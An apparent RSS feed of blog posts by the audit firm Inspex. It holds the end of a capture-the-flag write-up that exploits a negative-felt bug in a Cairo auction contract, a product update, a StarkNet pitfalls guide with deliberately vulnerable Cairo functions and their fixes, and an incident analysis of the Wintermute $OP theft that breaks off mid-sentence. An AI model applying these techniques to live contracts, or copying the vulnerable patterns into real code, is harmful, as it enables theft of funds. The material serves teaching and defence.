href="https://github.com/starkware-libs/cairo-lang/blob/master/src/starkware/cairo/common/uint256.cairo#L9-L14">https://github.com/starkware-libs/cairo-lang/blob/master/src/starkware/cairo/common/uint256.cairo#L9-L14</a>), it is possible to contains a negative value if not checked properly.</p><p>We started the instance and wrote our script to unlock our funds with -100000000001 in order to increase _auctionBalances to be 1 higher than the winning bid. Then raise the bid with 0, since our balance will already be higher than the winning bid. To get that value, we subtract 100000000001 from the max value of felt (2**251+17*2**192+1) and set it to the low bits.</p><pre>$ nc 34.132.254.35 31337<br>running until complete<br>1 - launch new instance<br>2 - kill instance<br>3 - get flag<br>action? 1<br>ticket please: c1102aa71c717aca338df7941f00f13cbd18448d588ae2813b78a39574ed9a30ef1a<br>[+] deploying erc20<br>[+] deploying auction<br>[+] creating bidders<br>[+] initializing contracts</pre><pre>your private blockchain has been deployed<br>it will automatically terminate in 30 minutes<br>here&#39;s some useful information<br>uuid:           be377312-17e7-46f0-9ca3-441954bf8fb4<br>rpc endpoint:   http://be377312-17e7-46f0-9ca3-441954bf8fb4@34.132.254.35:5050<br>private key:    0x4a854d8b84ad09278aa8ecb7a156062e<br>contract:       0x7f76a540c6f4984db2b292cbfb49573c2765fb9076d61ff82225e536df1e912</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*990sbfBQGl8LKJ67.png" /><figcaption><strong>solveCairoAuction.py</strong></figcaption></figure><p>We ran our script, and was able to get the flag from the server successfully.</p><pre>$ python3 solveCairoAuction.py<br>http://be377312-17e7-46f0-9ca3-441954bf8fb4@34.132.254.35:5050<br>StarknetChainId.TESTNET<br>player_address: 0x333c1ba254694947951f100334179aae6d42eb4d216d7de459e64b6c1668a35<br>My Auction Balance:  Result(balance=0)<br>Current Winner:  0x4b855e8f7aaa622adf4d7c0af1d13cfc0ff6c7b97450b527172e17a600ac227<br>Current Winner Auction Balance:  Result(balance=100000000000)<br>Unlock negative<br>My Auction Balance:  Result(balance=100000000001)<br>Raise bid<br>My Auction Balance:  Result(balance=100000000001)<br>Current Winner:  0x333c1ba254694947951f100334179aae6d42eb4d216d7de459e64b6c1668a35<br>Current Winner Auction Balance:  Result(balance=100000000001)</pre><pre>$ nc 34.132.254.35 31337<br>running until complete<br>1 - launch new instance<br>2 - kill instance<br>3 - get flag<br>action? 3<br>ticket please: c1102aa71c717aca338df7941f00f13cbd18448d588ae2813b78a39574ed9a30ef1a<br>PCTF{y0u_7h0u9h7_17_w45_4_p21m171v3_7yp3_8u7_17_w45_m3_d10}</pre><p><strong>Flag:</strong> PCTF{y0u_7h0u9h7_17_w45_4_p21m171v3_7yp3_8u7_17_w45_m3_d10}</p><h3>About Inspex</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*JYzvb5ob6GisRPlU.png" /></figure><p>Inspex is formed by a team of cybersecurity experts highly experienced in various fields of cybersecurity. We provide blockchain and smart contract professional services at the highest quality to enhance the security of our clients and the overall blockchain ecosystem.</p><p>For any business inquiries, please contact us via <a href="https://twitter.com/InspexCo">Twitter</a>, <a href="https://t.me/inspexco">Telegram</a>, <a href="/service/mailto:contact@inspex.co">contact@inspex.co</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2ce290cd9287" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Inspex Library Major Update — Better UX/UI and New Features.]]></title>
            <link>https://inspexco.medium.com/inspex-library-major-update-better-ux-ui-and-new-features-a822b0cca0c8?source=rss-587fa599ef08------2</link>
            <guid isPermaLink="false">https://medium.com/p/a822b0cca0c8</guid>
            <category><![CDATA[smart-contract-security]]></category>
            <category><![CDATA[dapps]]></category>
            <category><![CDATA[smart-contracts]]></category>
            <category><![CDATA[smart-contract-auditing]]></category>
            <category><![CDATA[audit]]></category>
            <dc:creator><![CDATA[Inspex]]></dc:creator>
            <pubDate>Fri, 19 Aug 2022 03:34:35 GMT</pubDate>
            <atom:updated>2022-08-19T03:34:35.740Z</atom:updated>
            <content:encoded><![CDATA[<h3>Inspex Library Major Update — Better UX/UI and New Features.</h3><p>The <a href="https://app.inspex.co/">Inspex Library </a>has made significant improvements to its aesthetics and ease of use and can also display more detailed audit information.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZGoLfav6OVOWMiT_uya5TQ.png" /></figure><p><a href="https://app.inspex.co/"><strong>Inspex Library</strong></a><strong> </strong>is a smart contract audit dashboard that collects smart contract audit results in one place. Projects using our smart contract audit service will be displayed in the Library with their audit statuses as Onboarded, Auditing, Consulting, or Finished.</p><p><a href="https://app.inspex.co/"><strong>Inspex Library</strong></a> is created to allow the decentralized application users that prioritize the security of platforms they are using, whether it’s DeFi, GameFi, Metaverse, or NFT, to quickly and confidently gain access to the audited platforms’ audit information and reports.</p><p>To meet the needs of more users, we have improved the structure and added more convenient functions with improvements and additions of the following components:</p><ol><li>Better UX/UI: The interface has been revamped, allowing the users to easily browse through the projects and platforms that have been audited by Inspex.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*ZUUBsKivEODMFBLC" /></figure><p>2. Improved Search and Filter: The search menu is improved, and the filter. feature is added, allowing the users to selectively look through the platforms using the following filter categories:</p><ul><li>Audit Progress</li><li>Verified Status</li><li>Blockchain Network</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*srUN5NG9G9Fhx6CQ" /></figure><p>3. Enhanced Project View: The key information that the users want from the audit results is now clearly shown on the project information page. This includes the summary of the vulnerabilities found, brief details on the risk of each vulnerability, how the platform resolved each vulnerability, and the status of each vulnerability on the reassessment.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*vF8K_p6Y2CFT60T1" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*vl5j7Sa6QtOyNV10" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*6DAXfHv7p7JeegcZ" /></figure><p>And that’s our brand new <a href="https://app.inspex.co/">Inspex Library</a> our development team has been working on for the past few months. The team is now focusing on developing new security solutions that will surely improve the security level of decentralized applications.</p><p>We will passionately continue to improve our services and security solutions to safeguard the decentralized world. For more news and updates from us, please follow Inspex through our official social media channels: <a href="https://twitter.com/InspexCo">Twitter</a>, <a href="https://t.me/inspexco">Telegram</a>, <a href="/service/mailto:contact@inspex.co">contact@inspex.co</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a822b0cca0c8" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[StarkNet Smart Contract Common Pitfalls]]></title>
            <link>https://inspexco.medium.com/starknet-smart-contract-common-pitfalls-fbf4c539d36c?source=rss-587fa599ef08------2</link>
            <guid isPermaLink="false">https://medium.com/p/fbf4c539d36c</guid>
            <category><![CDATA[blockchain]]></category>
            <category><![CDATA[blockchain-security]]></category>
            <category><![CDATA[starknet]]></category>
            <category><![CDATA[security]]></category>
            <category><![CDATA[smart-contracts]]></category>
            <dc:creator><![CDATA[Inspex]]></dc:creator>
            <pubDate>Mon, 08 Aug 2022 09:15:23 GMT</pubDate>
            <atom:updated>2022-08-08T09:43:47.051Z</atom:updated>
            <content:encoded><![CDATA[<p>There are currently a lot of solutions that have been introduced to solve the Ethereum scaling and gas pricing issues. Rollups is a layer 2 blockchain solution that is used to improve the scalability by operating the computational part on layer 2, while storing the data on layer 1. In this article, we will focus on a zk-rollups called StarkNet in terms of the common issues that every StarkNet developer should be concern about.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*6WBftWkps64vSxXY.png" /><figcaption>StarkNet Contract Common Pitfalls</figcaption></figure><h3>What is StarkNet</h3><p>StarkNet is a permissionless decentralized ZK-Rollup operating as an L2 network over Ethereum, where any dApp can achieve unlimited scale for its computation, without compromising Ethereum’s composability and security. — STARK.</p><h3>Cairo Basic</h3><p>Before going through the common pitfalls, let’s start with the Cairo basic syntax. StarkNet uses the Cairo programming language for writing StarkNet contracts. We have wrapped up some basics that you might need to understand first.</p><h3>Field Element (felt)</h3><p>There is only one data type in Cairo called field element (felt). The felt is a signed integer in the range from -P/2 &lt; x &lt; P/2 where P is a very large (prime) number (252-bit).</p><h3>Variable Declaration</h3><p>In Cairo, a variable can be declared by using the let, const, local or tempvar keywords.</p><ul><li>let keyword is used to create a variable that refers to the other variable or statement (can be re-assigned). These reference variables are commonly used to store the return values of function calls.</li></ul><pre>let a = 1<br>let (bal) = balance.read()</pre><ul><li>const keyword is used to create a constant variable that cannot be re-assigned.</li></ul><pre>const ONE = 1<br>const hello_string = &#39;hello&#39; # 448378203247</pre><ul><li>local keyword is used to create a local variable that cannot be re-assigned. Adding the alloc_locals to the beginning of the function is required.</li></ul><pre>alloc_locals<br>local a = b</pre><ul><li>tempvar keyword is used to assigned a value to the variable that can be re-assigned.</li></ul><pre>tempvar a = 1</pre><h3>Storage Variable</h3><p>The @storage_var decorator declares a variable that will be kept in the storage. In this case, this variable consists of a single felt, called balance.</p><pre># Define a storage variable.<br>@storage_var<br>func balance() -&gt; (res : felt):<br>end</pre><p>To use this variable, we will use the balance.read() and balance.write() functions.</p><pre># Read a storage variable.<br>let (bal) = balance.read()</pre><pre># Write a storage variable.<br>balance.write(initial_balance)</pre><h3>Storage Maps</h3><p>Adding the argument to the storage variable will change the balance storage variable to a map from the public key (user) to balance (act like Solidity keyword mapping)</p><pre># A map from user (represented by account contract address)<br># to their balance.<br>@storage_var<br>func balance(user : felt) -&gt; (res : felt):<br>end</pre><p>To use this mapping variable, we will use the balance.read() and balance.write() functions with an user value as an additional argument.</p><pre># Read a storage variable.<br>let (bal) = balance.read(user)</pre><pre># Write a storage variable.<br>balance.write(user, initial_balance)</pre><h3>Function Visibility</h3><p>Normally, all functions in StarkNet are <strong>internal</strong> functions that can only be called by the contract itself. Using @view or @external decorators will expose the function to be called by other contracts.</p><p>The @view decorator is used to define the function that only queries and does not modify the storage variable.</p><pre># Returns the current balance.<br>@view<br>func get_balance{<br>    syscall_ptr : felt*,<br>    pedersen_ptr : HashBuiltin*,<br>    range_check_ptr,<br>}() -&gt; (res : felt):<br>    let (bal) = balance.read()<br>    return (res=bal)<br>end</pre><p>The function with the @external decorator can be called by the users of StarkNet, by other contracts, and by the contract itself (acts like public visibility in the Solidity).</p><pre># Increases the balance by the given amount.<br>@external<br>func increase_balance{<br>    syscall_ptr : felt*,<br>    pedersen_ptr : HashBuiltin*,<br>    range_check_ptr,<br>}(amount : felt):<br>    let (bal) = balance.read()<br>    balance.write(bal + amount)<br>    # Emit the event.<br>    update_balance.emit(new_balance=bal + amount)<br>    return ()<br>end</pre><h3>Getting the Caller’s Address</h3><p>In order to obtain the address of the account contract that is invoking our function, we can use the get_caller_address() library function:</p><pre>from starkware.starknet.common.syscalls import get_caller_address</pre><pre># ...<br>let (caller_address) = get_caller_address()</pre><p>The get_caller_address() function returns an address that can be the address of the account contract or another contract (if cross-contract call). When the contract is <strong>called directly</strong> (rather than through a contract), the function <strong>returns 0</strong>.</p><h3>Cross-Contract Call</h3><p>Define an interface by using the @contract_interface decorator with the namespace keyword and declare the external functions in order to call this contract from another contract:</p><pre>@contract_interface<br>namespace ICounterContract:<br>    func increase_balance(amount : felt):<br>    end<br>    func get_balance() -&gt; (res : felt):<br>    end<br>end</pre><p>Then use ICounterContract.increase_balance() and ICounterContract.get_balance() to invoke these functions from another contract by passing the destination contract address as the first argument, contract_address.</p><pre>@external<br>func call_increase_balance{syscall_ptr : felt*, range_check_ptr}(<br>    contract_address : felt, amount : felt<br>):<br>    ICounterContract.increase_balance(<br>        contract_address=contract_address, amount=amount<br>    )<br>    return ()<br>end</pre><pre>@view<br>func call_get_balance{syscall_ptr : felt*, range_check_ptr}(<br>    contract_address : felt<br>) -&gt; (res : felt):<br>    let (res) = ICounterContract.get_balance(<br>        contract_address=contract_address<br>    )<br>    return (res=res)<br>end</pre><h3>Common Pitfalls in StarkNet</h3><p>Let’s move to the main topic, the following examples show the common issues that might be encountered in the StarkNet contract development.</p><h3>Arithmetic Issue</h3><h4>Input Validation</h4><p>Since, the felt variable has range from -P/2 &lt; x &lt; P/2 where P is a very large (prime) number (252-bit), the contract must be implemented carefully as the variable can store a negative value.</p><p>For example, the following transfer() function takes the amount as an input parameter.</p><pre>@external<br>func transfer{<br>    syscall_ptr : felt*,<br>    pedersen_ptr : HashBuiltin*,<br>    range_check_ptr<br>}(from_addr : felt, to_addr : felt, amount : felt):<br>    alloc_locals<br>    let (from_bal) = balance.read(from_addr)<br>    let (to_bal) = balance.read(to_addr)<br>    balance.write(from_addr, from_bal - amount)<br>    balance.write(to_addr, to_bal + amount)<br>    return ()<br>end</pre><p>The malicious user can supply a negative number as an input, resulting in draining the balance from the destination to the malicious user instead.</p><h4>Integer Overflow</h4><p>Performing mathematical operation in Cairo might cause an unexpected result. The above-mentioned transfer function is also vulnerable to the integer overflow issue. When the to_bal + amount is larger than the maximum integer value (P/2), the result will overflow and wrapped around to a very large negative value.</p><pre>balance.write(to_addr, to_bal + amount)</pre><p><strong>Solution</strong>: Check whether the user-supplied input is in the range, e.g., by using library functions such as is_in_range(), is_nn() or uint256_check(), and always use the safe math library to perform arithmetic operation, e.g., uint256_sub(), uint256_add() or unsigned_div_rem().</p><pre>@external<br>func transfer{<br>    syscall_ptr : felt*,<br>    pedersen_ptr : HashBuiltin*,<br>    range_check_ptr<br>}(from_addr : felt, to_addr : felt, amount : felt):<br>    alloc_locals</pre><pre>    # check the amount is non negative value<br>    assert_nn(amount)</pre><pre>    let (from_bal) = balance.read(from_addr)<br>    let (to_bal) = balance.read(to_addr)</pre><pre>    # check overflow/underflow<br>    assert_nn(from_bal - amount)<br>    assert_nn(to_bal + amount)</pre><pre>    balance.write(from_addr, from_bal - amount)<br>    balance.write(to_addr, to_bal + amount)<br>    return ()<br>end</pre><h3>Authentication &amp; Authorization</h3><p>The user authorization in StarkNet can be checked by using the get_caller_address() system call function which returns the caller of the function call.</p><p>The following example shows a broken access control issue in the StarkNet, the transfer() function gets the from_addr as an input parameter without verifying the caller’s authorization.</p><pre>@external<br>func transfer{<br>    syscall_ptr : felt*,<br>    pedersen_ptr : HashBuiltin*,<br>    range_check_ptr<br>}(from_addr : felt, to_addr : felt, amount : felt):<br>    alloc_locals<br>    # check the amount is non negative value<br>    assert_nn(amount)</pre><pre>    let (from_bal) = balance.read(from_addr)<br>    let (to_bal) = balance.read(to_addr)</pre><pre>    # check overflow/underflow<br>    assert_nn(from_bal - amount)<br>    assert_nn(to_bal + amount)</pre><pre>    balance.write(from_addr, from_bal - amount)<br>    balance.write(to_addr, to_bal + amount)<br>    return ()<br>end</pre><p><strong>Solution</strong>: Implement an authentication scheme based on the business design by using the get_caller_address() function to prevent a malicious actor from bypassing the authentication or acting as another user.</p><pre>@external<br>func transfer{<br>    syscall_ptr : felt*,<br>    pedersen_ptr : HashBuiltin*,<br>    range_check_ptr<br>}(to_addr : felt, amount : felt):<br>    alloc_locals</pre><pre>    # check the amount is non negative value<br>    assert_nn(amount)</pre><pre>    # get caller address<br>    let (from_addr) = get_caller_address()</pre><pre>    let (from_bal) = balance.read(from_addr)<br>    let (to_bal) = balance.read(to_addr)</pre><pre>    # check overflow/underflow<br>    assert_nn(from_bal - amount)<br>    assert_nn(to_bal + amount)</pre><pre>    balance.write(from_addr, from_bal - amount)<br>    balance.write(to_addr, to_bal + amount)<br>    return ()<br>end</pre><h3>Reentrancy Attack</h3><p>Even if there is no native token callback in StarkNet, poor implementation or callbacks in various standards (ERC721.onerc721received, ERC777.tokensReceived, etc.) may still be vulnerable to reentrancy attacks.</p><p>The following withdrawAll() function is vulnerable to the reentrancy attack. An attacker can hijack the control flow by implementing the ERC777.tokensReceived callback function that allows an attacker to reenter the withdrawAll() function and drain all tokens from the contract.</p><pre>@external<br>func withdrawAll{<br>    syscall_ptr : felt*,<br>    pedersen_ptr : HashBuiltin*,<br>    range_check_ptr<br>}():<br>    alloc_locals<br>    let (caller) = get_caller_address()<br>    let (bal) = balance.read(caller)<br>    assert_not_zero(bal)</pre><pre>    let (token) = token.read()    <br>    IERC777.transfer(token, caller, bal)<br>    <br>    balance.write(caller, 0)<br>    return ()<br>end</pre><p><strong>Solution</strong>: Implement the Check-Effect-Interaction pattern or use the mutex lock mechanism to prevent the reentrancy attack.</p><pre>@external<br>func withdrawAll{<br>    syscall_ptr : felt*,<br>    pedersen_ptr : HashBuiltin*,<br>    range_check_ptr<br>}():<br>    alloc_locals</pre><pre>    # check<br>    let (caller) = get_caller_address()<br>    let (bal) = balance.read(caller)<br>    assert_not_zero(bal)<br>    <br>    # effect<br>    balance.write(caller, 0)</pre><pre>    # interact<br>    let (token) = token.read()<br>    IERC777.transfer(token, caller, bal)<br>    return ()<br>end</pre><h3>Cross Chain Attack</h3><p>In StarkNet the cross-chain message is free to be created by any address both for L1 to L2 and L2 to L1. The source of the cross-chain message must be checked to prevent a message spoofing attack.</p><p>The following example deposit() function does not verify the from_address properly and allows the attacker to send the spoofed deposit message from any L1 contract to make the deposit on the L2.</p><pre>@l1_handler<br>func deposit{<br>    syscall_ptr : felt*,<br>    pedersen_ptr : HashBuiltin*,<br>    range_check_ptr<br>  }(<br>    from_address : felt,<br>    l2_recipient : felt,<br>    amount : felt,<br>    sender_address : felt,<br>  ):<br>    alloc_locals<br>    let (token) = _token.read()<br>    IToken.mint(token, l2_recipient, amount)<br>    deposit.emit(l2_recipient, amount)<br>    return ()<br>end</pre><p><strong>Solution</strong>: Always check the source of the cross-chain message that must be created by the trusted address.</p><pre>@l1_handler<br>func deposit{<br>    syscall_ptr : felt*,<br>    pedersen_ptr : HashBuiltin*,<br>    range_check_ptr<br>  }(<br>    from_address : felt,<br>    l2_recipient : felt,<br>    amount : felt,<br>    sender_address : felt,<br>  ):<br>    alloc_locals</pre><pre>    # check the from_address<br>    let (l1_bridge) = _l1_bridge.read()<br>    assert from_address = l1_bridge</pre><pre>    let (token) = _token.read()<br>    IToken.mint(token, l2_recipient, amount)<br>    deposit.emit(l2_recipient, amount)<br>    return ()<br>end</pre><h3>Conclusion</h3><p>These typical StarkNet pitfalls are merely examples. Other weaknesses, like the business logic problems, may be hidden in the contract. New technology also brings new attack vectors, which both the platform developers and users must be aware of. We hope that these example vulnerabilities can help increase the awareness and improve the security level of the decentralized world.</p><p>These typical StarkNet pitfalls are merely examples. Other weaknesses, like the business logic problems, may be hidden in the contract. New technology also brings new attack vectors, which both the platform developers and users must be aware of. We hope that these example vulnerabilities can help increase the awareness and improve the security level of the decentralized world.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=fbf4c539d36c" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How 20 Million $OP Was Stolen from the Multisig Wallet (Not Yet) Owned by Wintermute]]></title>
            <link>https://inspexco.medium.com/how-20-million-op-was-stolen-from-the-multisig-wallet-not-yet-owned-by-wintermute-3f6c75db740a?source=rss-587fa599ef08------2</link>
            <guid isPermaLink="false">https://medium.com/p/3f6c75db740a</guid>
            <category><![CDATA[incident]]></category>
            <category><![CDATA[optimism]]></category>
            <category><![CDATA[ethereum]]></category>
            <category><![CDATA[blockchain]]></category>
            <category><![CDATA[wintermute]]></category>
            <dc:creator><![CDATA[Inspex]]></dc:creator>
            <pubDate>Thu, 09 Jun 2022 07:24:13 GMT</pubDate>
            <atom:updated>2022-06-11T13:20:57.573Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VpVxwSVV0YulEVfXVdCDGw.png" /><figcaption>20 Million OP Tokens Stolen</figcaption></figure><p>Wintermute was engaged by the Optimism Foundation for liquidity provisioning services on the $OP launch. On May 27, 2022, 20 million $OP was allocated to Wintermute from the Foundation’s Partner Fund. However, Wintermute later found that they could not access these tokens because they had provided an Ethereum (L1) multisig address that they had not yet deployed to Optimism (L2). Unfortunately, an attacker found this and deploy the multisig contract with the same address to L2 before Wintermute.</p><p>After the incident, the following announcements were made by both teams:</p><ul><li>A Message to the Community from the Optimism Foundation:<br><a href="https://plaid-cement-e44.notion.site/A-Message-to-the-Community-from-the-Optimism-Foundation-f49b913bb0974d8a854a8bdd409a9dd6">https://plaid-cement-e44.notion.site/A-Message-to-the-Community-from-the-Optimism-Foundation-f49b913bb0974d8a854a8bdd409a9dd6</a></li><li>Message to Optimism community from Wintermute: <a href="https://gov.optimism.io/t/message-to-optimism-community-from-wintermute/2595">https://gov.optimism.io/t/message-to-optimism-community-from-wintermute/2595</a></li></ul><p>We’ll walk through how the attacker was able to take control of these 20 million $OP.</p><h3>Related Addresses</h3><ul><li>Wintermute Multisig Wallet Contract on Ethereum (L1):<br><a href="https://etherscan.io/address/0x4f3a120e72c76c22ae802d129f599bfdbc31cb81">https://etherscan.io/address/0x4f3a120e72c76c22ae802d129f599bfdbc31cb81</a></li><li>Attacker Multisig Wallet Contract on Optimism (L2): <a href="https://optimistic.etherscan.io/address/0x4f3a120e72c76c22ae802d129f599bfdbc31cb81">https://optimistic.etherscan.io/address/0x4f3a120e72c76c22ae802d129f599bfdbc31cb81</a></li><li>Attacker Wallet #1:<br><a href="https://optimistic.etherscan.io/address/0x8bcfe4f1358e50a1db10025d731c8b3b17f04dbb">https://optimistic.etherscan.io/address/0x8bcfe4f1358e50a1db10025d731c8b3b17f04dbb</a></li><li>Attacker Wallet #2:<br><a href="https://optimistic.etherscan.io/address/0x60b28637879b5a09d21b68040020ffbf7dba5107">https://optimistic.etherscan.io/address/0x60b28637879b5a09d21b68040020ffbf7dba5107</a></li><li>Attacker Contract:<br><a href="https://optimistic.etherscan.io/address/0xe7145dd6287ae53326347f3a6694fcf2954bcd8a">https://optimistic.etherscan.io/address/0xe7145dd6287ae53326347f3a6694fcf2954bcd8a</a></li><li>Gnosis Safe Proxy Factory Contract on Ethereum (L1):<br><a href="https://etherscan.io/address/0x76e2cfc1f5fa8f6a5b3fc4c8f4788f0116861f9b">https://etherscan.io/address/0x76e2cfc1f5fa8f6a5b3fc4c8f4788f0116861f9b</a></li><li>Gnosis Safe Proxy Factory Contract on Optimism (L2):<br><a href="https://optimistic.etherscan.io/address/0x76e2cfc1f5fa8f6a5b3fc4c8f4788f0116861f9b">https://optimistic.etherscan.io/address/0x76e2cfc1f5fa8f6a5b3fc4c8f4788f0116861f9b</a></li><li>Gnosis Safe Deployer on Ethereum (L1): <a href="https://etherscan.io/address/0x1aa7451dd11b8cb16ac089ed7fe05efa00100a6a">https://etherscan.io/address/0x1aa7451dd11b8cb16ac089ed7fe05efa00100a6a</a></li><li>Gnosis Safe Deployer on Optimism (L2): <a href="https://optimistic.etherscan.io/address/0x1aa7451dd11b8cb16ac089ed7fe05efa00100a6a">https://optimistic.etherscan.io/address/0x1aa7451dd11b8cb16ac089ed7fe05efa00100a6a</a></li></ul><h3>Summarized Attack Steps</h3><ol><li>The attacker used Attacker Wallet #2 to send gas to the address of Gnosis Safe Deployer in two transactions:<br><a href="https://optimistic.etherscan.io/tx/0xebe31b91705b2648ab4264fab02115782eafe26963ddc4ad99a2971d609ba376">https://optimistic.etherscan.io/tx/0xebe31b91705b2648ab4264fab02115782eafe26963ddc4ad99a2971d609ba376</a><br><a href="https://optimistic.etherscan.io/tx/0x90debe0ba3110b4760809783d9b6d2d03d14a11495d20f85ff60bded89449259">https://optimistic.etherscan.io/tx/0x90debe0ba3110b4760809783d9b6d2d03d14a11495d20f85ff60bded89449259</a></li><li>The attacker replayed the transactions of Gnosis Safe Deployer to deploy Proxy Factory contract:<br><a href="https://optimistic.etherscan.io/tx/0x06d2fa464546e99d2147e1fc997ddb624cec9c8c5e25a050cc381ee8a384eed3">https://optimistic.etherscan.io/tx/0x06d2fa464546e99d2147e1fc997ddb624cec9c8c5e25a050cc381ee8a384eed3</a><br><a href="https://optimistic.etherscan.io/tx/0x31ae8a26075d0f18b81d3abe2ad8aeca8816c97aff87728f2b10af0241e9b3d4">https://optimistic.etherscan.io/tx/0x31ae8a26075d0f18b81d3abe2ad8aeca8816c97aff87728f2b10af0241e9b3d4</a><br><a href="https://optimistic.etherscan.io/tx/0x75a42f240d229518979199f56cd7c82e4fc1f1a20ad9a4864c635354b4a34261">https://optimistic.etherscan.io/tx/0x75a42f240d229518979199f56cd7c82e4fc1f1a20ad9a4864c635354b4a34261</a></li><li>The attacker used Attacker Wallet #1 to deploy an attacking contract.<br><a href="https://optimistic.etherscan.io/tx/0x69ee67800307ef7cb30ffa42d9f052290e81b3df6d3b7c29303007e33cd1c240">https://optimistic.etherscan.io/tx/0x69ee67800307ef7cb30ffa42d9f052290e81b3df6d3b7c29303007e33cd1c240</a></li><li>The attacker used Attacker Wallet #2 to execute 62 transactions for creating the Gnosis Safe multisig contracts (162 contracts were created per transaction).<br><a href="https://optimistic.etherscan.io/txs?a=0x60b28637879b5a09d21b68040020ffbf7dba5107&amp;p=1">https://optimistic.etherscan.io/txs?a=0x60b28637879b5a09d21b68040020ffbf7dba5107&amp;p=1</a></li><li>The address (0x4f3a120e72c76c22ae802d129f599bfdbc31cb81) that holds 20 million $OP was created on the 55th attempt.<br><a href="https://optimistic.etherscan.io/tx/0x00a3da68f0f6a69cb067f09c3f7e741a01636cbc27a84c603b468f65271d415b">https://optimistic.etherscan.io/tx/0x00a3da68f0f6a69cb067f09c3f7e741a01636cbc27a84c603b468f65271d415b</a></li></ol><h3>Root Cause Analysis</h3><p>The 20 million $OP on Optimism (L2) was transferred to “0x4f3a120e72c76c22ae802d129f599bfdbc31cb81”, an address that is owned by Wintermute on Ethereum (L1), but <strong>“not yet”</strong> owned by anyone on Optimism (L2). This was done in two transactions:</p><ol><li><a href="https://optimistic.etherscan.io/tx/0x0c1d6166293924566ea0ca32d07379c7033a8b8f2558f667f917543e51dd474a">https://optimistic.etherscan.io/tx/0x0c1d6166293924566ea0ca32d07379c7033a8b8f2558f667f917543e51dd474a</a></li><li><a href="https://optimistic.etherscan.io/tx/0x8e29eef359f6c18a06e229157d44467b5e873f6e5b996baa7124b38eb6dfb1db">https://optimistic.etherscan.io/tx/0x8e29eef359f6c18a06e229157d44467b5e873f6e5b996baa7124b38eb6dfb1db</a></li></ol><p>The Wintermute multisig wallet on L1 was created with the createProxy() function of the Gnosis Safe Proxy Factory contract. The proxy contract was created with the new keyword, which uses the CREATE opcode behind the scenes.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1014/0*9ABp3-x4dmFFNeQ4.png" /><figcaption>Gnosis Safe Proxy Factory smart contract code</figcaption></figure><p>The address of the smart contract deployed with the CREATE opcode will be computed by the keccak256(senderAddress, nonce). In this case, the senderAddress which creates this contract is the Gnosis Safe Proxy Factory contract itself (0x76e2cfc1f5fa8f6a5b3fc4c8f4788f0116861f9b) and the nonce is the number of the contract created by this factory (increased on every proxy contract created).</p><p>This means that if the senderAddress and the nonce on L2 is the same as L1, the deployed address on L2 will be the same.</p><p>In order to attack, the Gnosis Safe Proxy Factory contract must be deployed on L2 with the same address as on L1. However, before the attack, the ProxyFactory contract had not been created yet. So, at the first glance, it looks like it will be impossible unless the attacker can force the deployer to deploy the contract using the same nonce.</p><h3>Deployer of the ProxyFactory</h3><p>We have found that the <a href="https://optimistic.etherscan.io/address/0x76e2cfc1f5fa8f6a5b3fc4c8f4788f0116861f9b">Gnosis Safe Proxy Factory</a> contract on Optimism (0x76e2cfc1f5fa8f6a5b3fc4c8f4788f0116861f9b) was deployed by an address that is tagged as <a href="https://etherscan.io/address/0x1aa7451dd11b8cb16ac089ed7fe05efa00100a6a">“Gnosis Safe: Deployer 3” on Ethereum</a> (0x1aa7451dd11b8cb16ac089ed7fe05efa00100a6a).</p><p>The gas for the deployment was sent to the <a href="https://optimistic.etherscan.io/address/0x1aa7451dd11b8cb16ac089ed7fe05efa00100a6a">deployer address</a> (0x1aa7451dd11b8cb16ac089ed7fe05efa00100a6a) by <a href="https://optimistic.etherscan.io/address/0x60b28637879b5a09d21b68040020ffbf7dba5107">Attacker Wallet #2</a> (0x60b28637879b5a09d21b68040020ffbf7dba5107) on these transactions:</p><ul><li><a href="https://optimistic.etherscan.io/tx/0xebe31b91705b2648ab4264fab02115782eafe26963ddc4ad99a2971d609ba376">https://optimistic.etherscan.io/tx/0xebe31b91705b2648ab4264fab02115782eafe26963ddc4ad99a2971d609ba376</a></li><li><a href="https://optimistic.etherscan.io/tx/0x90debe0ba3110b4760809783d9b6d2d03d14a11495d20f85ff60bded89449259">https://optimistic.etherscan.io/tx/0x90debe0ba3110b4760809783d9b6d2d03d14a11495d20f85ff60bded89449259</a></li></ul><p>This happened just right before the deployment of the <a href="https://optimistic.etherscan.io/address/0x76e2cfc1f5fa8f6a5b3fc4c8f4788f0116861f9b">ProxyFactory on Optimism (L2)</a> contract in this transaction:<br><a href="https://optimistic.etherscan.io/tx/0x75a42f240d229518979199f56cd7c82e4fc1f1a20ad9a4864c635354b4a34261">https://optimistic.etherscan.io/tx/0x75a42f240d229518979199f56cd7c82e4fc1f1a20ad9a4864c635354b4a34261</a></p><p>In order to deploy the ProxyFactory using the address of <a href="https://optimistic.etherscan.io/address/0x1aa7451dd11b8cb16ac089ed7fe05efa00100a6a">“Gnosis Safe: Deployer 3”</a>, the generally accepted fact is that the attacker needs to have the private key of that address; however, that may not be true in this case.</p><h3>Replay Attack on Non EIP-155 Transaction</h3><p>Before <a href="https://eips.ethereum.org/EIPS/eip-155">EIP-155</a>, the signature 